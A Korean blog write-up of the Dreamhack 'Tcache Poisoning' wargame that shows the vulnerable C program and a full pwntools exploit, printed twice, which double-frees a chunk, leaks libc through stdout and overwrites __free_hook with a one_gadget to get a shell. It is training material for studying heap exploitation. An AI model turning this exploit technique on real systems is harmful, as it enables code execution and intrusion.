[드림핵 시스템 해킹] Wargame : Tcache Poisoning

asdf·2025년 1월 23일

pwnable

목록 보기
31/36

문제


풀이


취약점 분석


Full RELRO와 NX가 적용되어 있으므로 Hook Overwrite를 고려해 볼 수 있습니다.

// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }

  return 0;
}

Allocate에서 원하는 크기의 청크를 할당할 수 있고, Edit에서 청크의 데이터를 수정할 수 있습니다. Free에서 청크를 해제하고 나서 chunk 포인터를 초기화하지 않으므로 이를 다시 해제하는 것이 가능합니다.

따라서 한 청크를 Double Free하여 free list에 중복으로 연결된 상태를 만든 후, 재할당하여 Tcache Poisoning 공격을 수행할 수 있습니다.

익스플로잇 실행

전체적인 익스플로잇 흐름을 간단히 살펴보면 다음과 같습니다.
1. Tcache Poisoning으로 청크 중복 해제
2. setvbuf 함수의 인자인 stdin 혹은 stdout으로 libc_base 구하기
3. 훅 오버라이트로 원 가젯 실행

Double Free 보호 기법을 우회하여 Double Free를 일으켜 보겠습니다.

from pwn import *

def slog(sym, val): success(sym + ": " + hex(val))

p = remote("host1.dreamhack.games", 23011)
e = ELF("./tcache_poison")
libc = ELF("./libc-2.27.so")

def alloc(size, data):
    p.sendlineafter(b"Edit\n", b'1')
    p.sendlineafter(b": ", str(size).encode())
    p.sendafter(b": ", data)

def free():
    p.sendlineafter(b'Edit\n', b'2')

def print_chunk():
    p.sendlineafter(b"Edit\n",b'3')

def edit(data):
    p.sendlineafter(b"Edit\n", b'4')
    p.sendlineafter(b"chunk: ", data)

# tcache[0x40]: cache A
alloc(0x30, b'dreamhack')
free()

# tcache[0x40]: cache A -> cache A
# key값을 변경하여 보호 기법 우회
edit(b'B'*8 + b'\x00')
free()

이제 tcache[0x40]은 cache A -> cache A 처럼 리스트가 연결되어 있습니다.

setvbuf 함수의 stdout처럼 stdout을 코드 상에서 명시적으로 사용하면, 바이너리의 .bss 영역에 libc 내에 _IO_2_1_stdout_을 가리키는 포인터가 존재하게 됩니다. 그러므로 Tcache Poisoning으로 stdout에 청크를 할당하고 이를 릭하면 libc가 매핑된 주소를 계산할 수 있습니다.

libc_base를 얻고 이를 활용하여 __free_hook의 주소도 계산해 보겠습니다.

# tcache[0x40]: cache A -> stdout -> _IO_2_1_stdout_ -> ...
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))

# tcache[0x40]: stdout -> _IO_2_1_stdout_ -> ...
alloc(0x30, b'BBBBBBBB')

# tcache[0x40]: _IO_2_1_stdout_ -> ...
# ASLR이 적용되어도 하위 12비트는 동일하므로 lsb를 구해서 데이터로 사용하면 데이터 원본을 구할 수 있습니다.
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1]
alloc(0x30, _io_2_1_stdout_lsb)

#libc lick
print_chunk()
p.recvuntil('Content: ')
stdout = u64(p.recvn(6).ljust(8, b'\x00'))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432

slog('libc_base', lb)
slog('free_hook', fh)
slog('one_gadget', og)

__free_hook과 one_gadget의 주소를 구했으니 다시 한번 Tcache Poisoning을 사용해 free_hook을 one_gadget으로 덮어서 셸을 얻어보겠습니다.

# 0x30으로 청크를 할당받으면 _IO_2_1_stdout_에 청크를 할당받으므로 크기 변경
# tcache[0x50] : cache B
alloc(0x40, b'AAAA')
free()

# tcache[0x50] : cache B -> cache B
edit(b'B'*8 + b'\x00')
free()

# tcache[0x50] : cache B -> __free_hook
alloc(0x40, p64(fh))

# tcache[0x50] : __free_hook
alloc(0x40, b'DDDDDDDD')

alloc(0x40, p64(og))

free()

p.interactive()

아래는 전체 코드입니다.

from pwn import *

def slog(sym, val): success(sym + ": " + hex(val))

p = remote("host1.dreamhack.games", 23011)
e = ELF("./tcache_poison")
libc = ELF("./libc-2.27.so")

def alloc(size, data):
    p.sendlineafter(b"Edit\n", b'1')
    p.sendlineafter(b": ", str(size).encode())
    p.sendafter(b": ", data)

def free():
    p.sendlineafter(b'Edit\n', b'2')

def print_chunk():
    p.sendlineafter(b"Edit\n",b'3')

def edit(data):
    p.sendlineafter(b"Edit\n", b'4')
    p.sendlineafter(b"chunk: ", data)

# tcache[0x40]: cache A
alloc(0x30, b'dreamhack')
free()

# tcache[0x40]: cache A -> cache A
edit(b'B'*8 + b'\x00')
free()

# tcache[0x40]: cache A -> stdout -> _IO_2_1_stdout_ -> ...
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))

# tcache[0x40]: stdout -> _IO_2_1_stdout_ -> ...
alloc(0x30, b'BBBBBBBB')

# tcache[0x40]: _IO_2_1_stdout_ -> ...
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1]
alloc(0x30, _io_2_1_stdout_lsb)

#libc lick
print_chunk()
p.recvuntil('Content: ')
stdout = u64(p.recvn(6).ljust(8, b'\x00'))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432

slog('libc_base', lb)
slog('free_hook', fh)
slog('one_gadget', og)

# tcache[0x50] : cache B
alloc(0x40, b'AAAA')
free()

# tcache[0x50] : cache B -> cache B
edit(b'B'*8 + b'\x00')
free()

# tcache[0x50] : cache B -> __free_hook
alloc(0x40, p64(fh))

# tcache[0x50] : __free_hook
alloc(0x40, b'DDDDDDDD')

alloc(0x40, p64(og))

free()

p.interactive()

실행하면 셸을 얻을 수 있습니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글